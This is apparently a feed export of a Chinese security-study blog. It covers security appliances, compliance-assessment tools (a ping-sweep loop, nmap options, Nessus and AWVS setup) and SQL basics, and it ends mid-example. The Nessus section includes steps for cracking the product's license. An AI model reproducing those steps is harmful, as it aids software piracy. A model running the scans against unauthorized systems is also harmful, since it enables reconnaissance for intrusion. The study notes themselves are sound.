&lt;p&gt;部署于网站服务器群的前端，提供抗扫描，防注入，防跨站脚本，防后门攻击等安全策略，提供网站的安全防护能力&lt;/p&gt;
&lt;p&gt;1.传统防火墙基于端口做防护，wb防火墙基于应用层的的防护更加专精&lt;/p&gt;
&lt;p&gt;2.web应用系统系统弱点多样性&lt;/p&gt;
&lt;p&gt;3.web防火墙具有事前预防，事中防护，事后补偿的能力&lt;/p&gt;
&lt;p&gt;--- 确保网站业务的可用性，防止数据泄露和网页篡改，优化业务资源&lt;/p&gt;
&lt;h3&gt;专业应用层安全防护设备&lt;/h3&gt;
&lt;p&gt;网页保护：web应用防火墙&lt;/p&gt;
&lt;p&gt;视频安全保障：视频安全网关&lt;/p&gt;
&lt;p&gt;数据库安全保障：数据库审计&lt;/p&gt;
&lt;h2&gt;IPS设备&lt;/h2&gt;
&lt;p&gt;IDS 入侵检测系统：无法中断数据流量，是防火墙的合理补充；一般帮助系统检测网络攻击，审计和监视网络流量，实时进行报告&lt;/p&gt;
&lt;p&gt;IPS 入侵防御系统：能够及时中断数据流量，调整或隔离一些不正常的网络传输行为&lt;/p&gt;
&lt;h3&gt;IPS和防火墙的区别&lt;/h3&gt;
&lt;p&gt;防火墙更偏向于边界安全管理，做边界隔离的产品&lt;/p&gt;
&lt;p&gt;进入到内网的流量通过IPS检测拦截&lt;/p&gt;
&lt;h2&gt;防病毒网关&lt;/h2&gt;
&lt;p&gt;安全网关&lt;/p&gt;
&lt;p&gt;作用在第二层，数据链路层&lt;/p&gt;
&lt;p&gt;用于保护网络内进出数据的安全，也称作“防毒墙”&lt;/p&gt;
&lt;p&gt;主要体现在病毒杀除、关键字过滤、垃圾邮件阻止的功能，同时部分设备也具有一定防火墙的功能&lt;/p&gt;
&lt;h2&gt;网闸&lt;/h2&gt;
&lt;p&gt;防火墙 --- 逻辑隔离&lt;/p&gt;
&lt;p&gt;网闸 --- 物理隔离&lt;/p&gt;
&lt;p&gt;部署在绝密级和机密级网络&lt;/p&gt;
&lt;p&gt;数据摆渡（单向通信）&lt;/p&gt;
</content:encoded></item><item><title>等保：工具安装与使用</title><link>https://wangyi187.top/posts/mlps-03-tools/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-03-tools/</guid><description>工具安装与使用 Visio 画拓扑图 三层ping协议 四层探测工具 NMAP 官网：https://nmap.org 常见端口： 常见参数： Nessus 模拟黑客进行无害的攻击</description><pubDate>Fri, 15 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;工具安装与使用&lt;/h1&gt;
&lt;h2&gt;Visio&lt;/h2&gt;
&lt;p&gt;画拓扑图&lt;/p&gt;
&lt;h2&gt;三层ping协议&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;for /L %i in (1,1,254) do @ping -w 1 -n 1 192.168.4.%i
for /L %i in (1,1,254) do @ping -w 1 -n 1 192.168.4.%i | findstr &quot;TTL&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;四层探测工具&lt;/h2&gt;
&lt;p&gt;NMAP&lt;/p&gt;
&lt;p&gt;官网：https://nmap.org&lt;/p&gt;
&lt;p&gt;常见端口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http 80
https 443
telnet 23
ssh 22
DNS 53
DHCP 67 68
FTP 20 21
RDP 3389
TCP共享服务 445
MySQL 3306
mssql 1433
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;常见参数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-A 进攻性扫描|全扫描
-T 设置扫描速率，0-5六个级别，0最慢，5最快
-v 显示冗余信息，扫描过程的细节
-p 查看指定端口
-p- 0-65535
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;-Pn 不作ping的扫描
nmap -Pn 192.168.4.21
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;主机发现：
◆ -sL：列表扫描-仅列出要扫描的目标
◆ -sP：Ping扫描-只能确定主机是否在线
◆ -P0：将所有主机视为在线-跳过主机发现
◆ -PS / PA / PU [端口列表]：对给定端口的TCP SYN / ACK或UDP发现探针-PE / PP / PM：
ICMP回显，时间戳和网络掩码请求发现探针；Pn 不ping扫描
◆ -n / -R：从不进行DNS解析/始终解决

扫描技术：
◆ -sS / sT / sA / sW / sM：TCP SYN / Connect()/ ACK / Window / Maimon扫描
◆ -sN / sF / sX：TCP Null，FIN和Xmas扫描
◆ --scanflags &amp;lt;标志&amp;gt;：自定义TCP扫描标志
◆ -sI &amp;lt;僵尸主机[：probeport]&amp;gt;：Idlescan
◆ -sO：IP协议扫描
◆ -b &amp;lt;ftp中继主机&amp;gt;：FTP退回扫描
◆ 端口规格和扫描顺序：-p &amp;lt;端口范围&amp;gt;：仅扫描指定的端口，例如：-p22; -p1-65535; -
p U：53,111,137，T：21-25,80,139,8080
◆ -F：快速-仅扫描nmap-services文件中列出的端口）
◆ -r：连续扫描端口-不要随机化

OS检测：
◆ -O：启用OS检测
◆ --osscan-limit：将OS检测限制在有希望的目标上
◆ --osscan-guess：猜测OS
◆ -T [0-6]：设置定时模板（越高越快）
◆ --min-hostgroup / max-hostgroup &amp;lt;msec&amp;gt;：并行主机扫描组大小
◆ --min-parallelism / max-parallelism &amp;lt;msec&amp;gt;：探针并行化
◆ --min-rtt-timeout / max-rtt-timeout / initial-rtt -timeout &amp;lt;msec&amp;gt;：指定

服务/版本检测：
◆ -sV：探测打开的端口以确定服务/版本信息
◆ --version-light ：仅限于可能的探针以进行更快的识别
◆ --version-all：尝试对每个探针进行版本检测
◆ --version-trace：显示详细的版本扫描活动（用于调试）
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Nessus&lt;/h2&gt;
&lt;p&gt;模拟黑客进行无害的攻击渗透&lt;/p&gt;
&lt;p&gt;用于扫描服务器，网络设备，安全设备等系统漏洞&lt;/p&gt;
&lt;p&gt;官网： https://zh-cn.tenable.com/products/nessus&lt;/p&gt;
&lt;p&gt;Nessus安装：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;虚拟机win7安装
1.双击运行“Nessus-8.12.1-x64.msi”

破解步骤：
1.将“nessus破解文件”中的“nessus.license”复制粘贴到“C:\ProgramData\Tenable\Nessus\conf”目录下
2.将“nessus破解文件”中的“all-2.0-20211012.tar.gz”复制粘贴到“C:\Program Files\Tenable\Nessus”目录下
3.以管理员身份运行cmd，切换到“C:\Program Files\Tenable\Nessus”目录下
  nessuscil.exe update all-2.0-20211012.tar.gz
  出现 *Update Successful... 即可
4.将“nessus破解文件”中的“plugin_feed_info.inc”复制粘贴到
  “C:\ProgramData\Tenable\Nessus\nessus”和
  “C:\ProgramData\Tenable\Nessus\nessus\plugins”目录下
5.重启nessus服务
  运行services.msc
  重启“Tenable Nessus”服务
在Welcome to Nessus界面，选择第四项 “Managed Scanner” -&amp;gt; Managed by 选择第二项“Tenable.sc” -&amp;gt; 创建账户及密码
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nessus使用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;端口8834
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;AWVS&lt;/h2&gt;
&lt;p&gt;针对web站点的漏扫工具&lt;/p&gt;
&lt;p&gt;AWVS安装：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;物理机安装
路径默认即可，不要修改安装路径
安装过程详见“使用手册.txt”
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;AWVS的使用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;端口3443
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>等保：资产调研</title><link>https://wangyi187.top/posts/mlps-05-assets/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-05-assets/</guid><description>资产调研 三种部署模式 串联部署/路由部署：正常写IP的部署模式 透明部署/网桥部署：类似网线，既能监测流量，也有阻断功能（没有收包和发包的功能），不用写IP的部署形式（IPS入侵</description><pubDate>Fri, 15 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;资产调研&lt;/h1&gt;
&lt;h2&gt;三种部署模式&lt;/h2&gt;
&lt;p&gt;串联部署/路由部署：正常写IP的部署模式&lt;/p&gt;
&lt;p&gt;透明部署/网桥部署：类似网线，既能监测流量，也有阻断功能（没有收包和发包的功能），不用写IP的部署形式（IPS入侵防御系统）&lt;/p&gt;
&lt;p&gt;旁路部署：只能监测流量，没有阻断功能，不用写IP的部署形式（IDS入侵检测系统）&lt;/p&gt;
&lt;p&gt;镜像口：将一个或多个源端口的数据流量转发到某一个指定端口来实现对网络的监听&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;管理网络和业务网络一定要区分开

管理口（带内管理，带外管理）
如MGMT
带外管理：管理网段不涉及业务
带内管理：涉及业务（vrf）
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;等保环境&lt;/h2&gt;
&lt;p&gt;内网主机 -&amp;gt; 堡垒机 -&amp;gt; 登录设备&lt;/p&gt;
&lt;h2&gt;作业环境&lt;/h2&gt;
&lt;p&gt;堡垒机 -&amp;gt; 单点登录 选择要登录的设备（第一次登录需要下载安装控件）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;堡垒机地址：https://www.zhssict.com:9800/fort/frame.action
在线资产表：https://docs.qq.com/sheet/DQ0JPUElob2xZT2FC?chatType=2&amp;amp;chatId=499356043&amp;amp;fileMD5=3238303331363136363866636163626438623366633237636237373037613335&amp;amp;ADUIN=2653193993&amp;amp;ADSESSION=1688452414&amp;amp;ADTAG=CLIENT.QQ.5989_.0&amp;amp;ADPUBNO=27321&amp;amp;_t=1688456543452&amp;amp;tab=000001
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;作业平台：等级保护管理系统&lt;/p&gt;
&lt;p&gt;创建项目 -&amp;gt; 导入资产 -&amp;gt; 等保测评&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;show version	//核心交换机查看版本
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>数据库基础</title><link>https://wangyi187.top/posts/web-08-database-basics/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-08-database-basics/</guid><description>0x08 数据库基础 一、数据库简介 1、数据库 2、关系型数据库 3、数据库管理系统排行 https://db engines.com/en/ranking 二、MySQL 1、</description><pubDate>Sun, 10 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x08 数据库基础&lt;/h1&gt;
&lt;hr /&gt;
&lt;h3&gt;一、数据库简介&lt;/h3&gt;
&lt;h4&gt;1、数据库&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	数据库是“按照数据结构来组织、存储和管理数据的仓库”。是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。数据库是以一定方式储存在一起、能与多个用户共享、具有尽可能小的冗余度、与应用程序彼此独立的数据集合，可视为电子化的文件柜——存储电子文件的处所，用户可以对文件中的数据进行新增、查询、更新、删除等操作。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-08-database-basics/6913b9ca2a-1698832512451.png&quot; alt=&quot;1698832512451&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;2、关系型数据库&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-08-database-basics/6fd8798cd2-1698832600775.png&quot; alt=&quot;1698832600775&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	比较常用的关系型数据库有Oracle、MySQL、SQLServer 、IBMDB2、Sybase、Access等，Oracle是收费商用的数据库，提供很好的维护与支持，适用于业务逻辑较复杂、数据量大的大中型项目；MySQL数据库由于体积小、速度快、总体拥有成本低、开放源码，受到很多中小型公司的青睐；SQLServer数据库的功能比较全面、效率高，适用于中型企业或单位的数据库平台。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、数据库管理系统排行&lt;/h4&gt;
&lt;p&gt;https://db-engines.com/en/ranking&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-08-database-basics/2a95bdb6a0-1698832748069.png&quot; alt=&quot;1698832748069&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;二、MySQL&lt;/h3&gt;
&lt;h4&gt;1、MySQL数据库&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	MySQL是采用客户端/服务器（C/S)的关系型SQL数据库管理系统，它具有跨平台性和可移植性，可以轻松、简单地运行在多种操作系
统上，如Windows、Linux操作系统等。本章介绍MySQL的基础知识，并带大家安装MySQL数据库。

	MySQL数据库是开放源码的，允许有兴趣的爱好者去查看和维护源码，大公司或者有能力的公司还可以继续对其进行优化，做成适合自己公司的数据库。最重要的一点是，相较于Oracle数据库的商用收费，MySQL允许各大公司免费使用，并且在被甲骨文公司收购后，不断地进行优化，性能提升接近30%，已成为小公司或者创业型公司首选的数据库，市场占有率也逐渐扩大。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、SQL语言&lt;/h4&gt;
&lt;h5&gt;&lt;strong&gt;1.数值类型&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-08-database-basics/2e0a6fd28e-1698832937477.png&quot; alt=&quot;1698832937477&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;2.字符串类型&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-08-database-basics/c2174b0c2b-1698833005876.png&quot; alt=&quot;1698833005876&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;3.日期时间类型&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-08-database-basics/38daab8e2e-1698833052867.png&quot; alt=&quot;1698833052867&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;4、数据库操作&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;MySQL允许创建多个数据库，每个数据库承载不同的内容，使用命令操作可以查看数据库、创建数据库、使用数据库以及删除数据库。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;5、查看数据库&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;使用 SHOW databases 命令可以查看有哪些数据库。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-08-database-basics/b215a214f2-1698833147068.png&quot; alt=&quot;1698833147068&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;6、创建数据库&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;使用 CREATE DATABASE [databaseName] 命令可以创建数据库。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;7、使用数据库&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;要操作某个数据库或者数据库里的表，首先需选择要使用的数据库，使用 USE databaseName 命令进入到数据库里。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;8、删除数据库&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;使用命令 DROP DATABASE databaseName 可以删除数据库。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;9、表操作&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;	MySQL表操作是使用频率最高的操作。用户可以创建数据库表，查看数据库表，向数据库表里插入数据、更新数据、删除数据等，同时可以修改表结构、复制表、使用临时表。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-08-database-basics/3e046f3e1c-1698833441090.png&quot; alt=&quot;1698833441090&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;10、数据操作&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;	插入、查询、修改和删除是MySQL数据库的4种最基本的操作，在项目开发的过程中也使用得最频繁。在MySQL里，插入使用INSERT关键字、查询使用SELECT关键字、修改使用UPDATE关键字、删除使用DELETE关键字。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;11、SQL语句格式&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;在数据库上执行的大部分工作都由SQL语句完成。SQL对大小写不敏感
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-08-database-basics/e7bc4441bf-1698833515864.png&quot; alt=&quot;1698833515864&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;12、插入（INSERT）、查询（SELECT）&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;将一条数据插入到数据库里，可以使用如下命令。

INSERT INTO 表名(字段名，字段名) VALUES(值，值)；

或者可以不指明表里的字段，但是值按字段的顺序插入，可以使用如下命令。

INSERT INTO 表名 VALUES(值，值)；

查询数据，可以使用如下命令。

SELECT * FROM 表名；

或者查询指定字段，可以使用如下命令。

SELECT id FROM 表名；

使用WHERE条件语句按条件查询，把某一列或者几列作为查询条件，可以使用如下命令。

SELECT * FROM 表名 WHERE id=10；

SELECT * FROM 表名 WHERE id=10 and name=&apos;小明&apos;；
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;13、修改记录（UPDATE）&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;在MySQL里修改使用关键字UPDATE，命令如下所示。

UPDATE 表名 SET 字段=值，字段=值 WHERE 条件

UPDATE user SET name=&apos;小明&apos;,sex=&apos;男&apos; WHERE id=4;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;14、删除记录（DELETE）&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;在MySQL中删除数据可以使用DELETE关键字，命令如下所示。

DELETE FROM 表名 WHERE 条件

DELETE FROM user WHERE id=4;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;15、对查询结果排序（ORDER BY）&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;	在MySQL数据库中，使用ORDER BY进行排序，使用关键字ASC进行升序排序(ascend)，使用关键字DESC进行降序排序(descend)，同时可以按一个字段或者多个字段进行排序。如果按多个字段进行排序，先进行第一个字段的排序，然后在结果集里面再进行第二个字段的排序，以此类推。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;（1）ORDER BY [column] ASC：按某一字段进行升序排序，ASC可以省略不写。

SELECR * FROM user ORDER BY id ASC;

或者

SELECR * FROM user ORDER BY id;

（2）ORDER BY column DESC：按某一字段进行降序排序，DESC不可以省略不写。

SELECT * FROM user ORDER BY id DESC;

（3）ORDER BY column1,column2 DESC：按多个字段进行降序排序。

SELECT * FROM user ORDER BY sex,age DESC;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;16、限制查询数量（LIMIT）&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;	LIMIT用于限制查询的数量，常用于分页语句。LIMIT子句可以被用于强制SELECT语句返回指定的记录数。LIMIT接受一个或两个数字参数，参数必须是一个整数常量。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;（1）如果只给定一个参数，则它表示返回最大的记录行数目。&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#检索前6行记录

SELECT * FROM user LIMIT 6;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;（2）如果给定两个参数，则第一个参数指定第一个返回记录行的偏移量，第二个参数指定返回记录行的最大数目，初始记录行的偏移量是0（而不是1）。&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#从第3条数据开始，检索出5条数据

SELECT * FROM user LIMIT 2,5;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;17、基本查询语法&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;MySQL使用关键字SELECT来进行查询，SELECT语句的基本语法格式如下。
SELECT 查询内容

FROM 表名

WHERE 表达式

ORDER BY 字段名

LIMIT 记录数
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;（1）SELECT查询内容：查询所有字段 SELECT * FROM 表名， * 通配符表示所有字段。

（2）FROM表名：指定是从哪张表中查询。

（3）WHERE表达式（按条件查询）：在MySQL的表查询时，往往并不是需要将所有内容全部查出，而是根据实际需求，查询所需数据。

（4）ORDER BY 字段名：按某个字段进行排序，如淘宝宝贝可以按销量排序、按好评数排序、按价格排序等。

（5）LIMIT记录数：查询的条数，可以限制每次查询多少条数据，进行分页查询。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;18、条件表达式&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;在MySQL语句中，条件表达式是指SELECT语句的查询条件，在WHERE子句中可以使用关系运算符连接操作数作为查询条件对数据进行选择。常见的关系运算符如下。

= 等于

&amp;lt; &amp;gt; 不等于

! = 不等于

&amp;lt; 小于

&amp;gt; 大于

&amp;lt; = 小于等于

&amp;gt; = 大于等于
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;19、条件查询过滤&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;条件查询过滤关键字为AND、OR、IN、NOT IN、IS NULL、IS NOT NULL、BETWEEN AND。按关键字可以进行条件查询过滤。

（1）AND（与）。用AND进行查询的时候，查询出来的数据要求条件都得满足。

SELECT * FROM user WHERE age = 20 and name = &apos; kevin &apos; ;

（2）OR（或）。用OR进行查询的时候，查询出来的数据只要求满足任意一个条件就可以查询出来。

SELECT * FROM user WHERE age = 20 or name = &apos; kevin &apos; ;

（3）IN（在范围内）。用IN进行查询的时候，查询出来的数据在这个范围内。

SELECT * FROM user WHERE id in ( 3 , 5 , 7 ) ;

（4）NOTIN（不在范围内）。用NOTIN进行查询的时候，查询出来的数据不在这个范围内。

SELECT * FROM user WHERE id not in ( 3 , 5 , 7 ) ;

（5）IS（为空）。用IS NULL进行查询的时候，用来查询某字段为空时用is null，而不能使用&quot; = null &quot;，因为MySQL中的null不等于任何其他值，也不等于另外一个null，优化器会把&quot; = null &quot;的查询过滤掉而不返回任何数据；查询某字段为非空时使用is not null。

SELECT * FROM user WHERE name is null;

SELECT * FROM user WHERE name is not null;

（6）BETWEEN AND（在……区间）：用BETWEENAND进行查询的时候，查询出来的数据在这个区间。

SELECT * FROM user WHERE age between 10 and 20;

select * from orders where order no BETWEEN 22456 and 24562 ; #闭区间

select * from orders where order no &amp;gt; = 22456 and order no &amp;lt;= 24562 ;

（×）select * from orders where 22456 &amp;lt; = order no &amp;lt; = 24562 ;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;20、模糊查询过滤&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;模糊查询过滤使用关键字LIKE进行查询。

（1）LIKE&apos;张%&apos;：使用LIKE查询该字段以“张”开头的数据。

SELECT * FROM user where name like &apos;张%&apos;;

（2）LIKE&apos;%明&apos;：使用LIKE查询该字段以“明”结尾的数据。

SELECT * FROM user where name like &apos;%明&apos;;

（3）LIKE&apos;%明%&apos;：使用LIKE查询该字段包含“明”的数据。

SELECT * FROM user where name like &apos;%明%&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;21、联合查询&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;	联合查询是将多次查询结果合并起来进行拼接，其字段不会增加，要求两次查询的列数必须一致，列的类型可以不一样，多次SQL语句取出的列名可
	以不一致，此时以第一个SQL语句的列名为准；使用关键字UNION进行联合查询，会去掉重复的行，使用关键字UNIONall进行联合查询，不会去掉重复的行；ORDEYBY不能直接使用，需要对查询语句使用括号才行，要ORDER BY生效，就必须搭配LIMIT，LIMIT使用限定的最大数即可，推荐放到所有子句之后，即对最终合并的结果来排序或筛选。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;SELECT column_name FROM table1 

UNION(all)

SELECT column_name FROM table2

	联合查询经常用于查询同一个表，但是需求不同，如查询学生信息、男生身高升序、女生身高降序；进行多表查询，多个表的结构是完全一样的，保存的数据（结构）也是一样的。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三、Oracle&lt;/h3&gt;
&lt;h4&gt;1、Oracle数据库&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	OracleDatabase，又名OracleRDBMS，或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先
地位的产品。可以说Oracle数据库系统是目前世界上流行的关系数据库管理系统，系统可移植性好、使用方便、功能强，适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、默认账号&lt;/h4&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-08-database-basics/e80f266810-1698842002386.png&quot; alt=&quot;1698842002386&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;3、修改账号密码&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;打开cmd后，依次输入以下三条命令

sqlplus/nolog

connect/as sysdba

alter user sys identified by 123456
          用户名               密码
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4、查询数据库名&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;select name,dbid from v$database;

或者

show parameter db_name;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;5、查询数据表名&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;select table_name from user_tables;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;6、查询字段名&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;select column_name,data_type,data_length,data_precision,data_scale from user_tab_columns [where table_name = 表名];
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7、新建表&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;create table table1 ( id varchar ( 300 ) primary key,name varchar ( 200 ) not null);
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;8、插入数据&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;insert into table1 (id,name) values (&apos;aa&apos;,&apos;bb&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;9、更新数据&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;update table1 set id =&apos;bb&apos; where id=&apos;cc&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;10、删除数据&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;delete from table1 where id =&apos;cc&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;11、删除表&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;drop table table1;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;12、查看表结构&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;desc student;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;13、查询指定列&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;select sex,xh,xm from student;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;14、统计表内有多少条记录&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;select count(*) from users;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;四、SQL Server(mssql)&lt;/h3&gt;
&lt;h4&gt;1、SQL Server数据库&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	SQLServer是Microsoft公司推出的关系型数据库管理系统。具有使用方便可伸缩性好与相关软件集成程度高等优点，可跨越从运行MicrosoftWindows98的膝上型电脑到运行MicrosoftWindows2012的大型多处理器的服务器等多种平台使用。
	
	MicrosoftSQLServer是一个全面的数据库平台，使用集成的商业智能(BI)工具提供了企业级的数据管理。MicrosoftSQLServer数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能，使您可以构建和管理用于业务的高可用和高性能的数据应用程序。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2、查询所有数据库&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;select * from sysdatabases;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3、查询当前数据库中所有表名&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;select * from sysobjects where xtype=&apos;U&apos;;

xtype=&apos;U&apos;:表示所有用户表，xtype=&apos;S&apos;:表示所有系统表。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;4、查询指定表中的所有字段名&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;select name from syscolumns where id=Object_ld(table_name&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;5、查询指定表中的所有字段名和字段类型&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;select sc.name,st.name from syscolumns sc,systypes st where sc.xtype=st.xtype and sc.id in ( select id from sysobjects where xtype=&apos;U&apos; and name=&apos;table_name&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;6、创建数据库&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;create database TestDB;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;7、查看数据库是否存在&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;IF EXISTS (SELECT 1 FROM SYSDATABASES WHERE NAME=&apos;TestDB&apos;)
SELECT 1 ELSE SELECT 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;8、使用某个数据库&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;use database_name
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;9、创建表&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;create table demo
(
ld int primary key,
nname nchar(10),
age tinyint,
sex int
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;10、添加数据&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;方法一：安照列名依次给出数据值，不能交换顺序，数据类型不能出错

insert into demo
values
(&apos;zhang&apos;,25,1)

方法二：

insert into demo
(nname,age,sex)
values
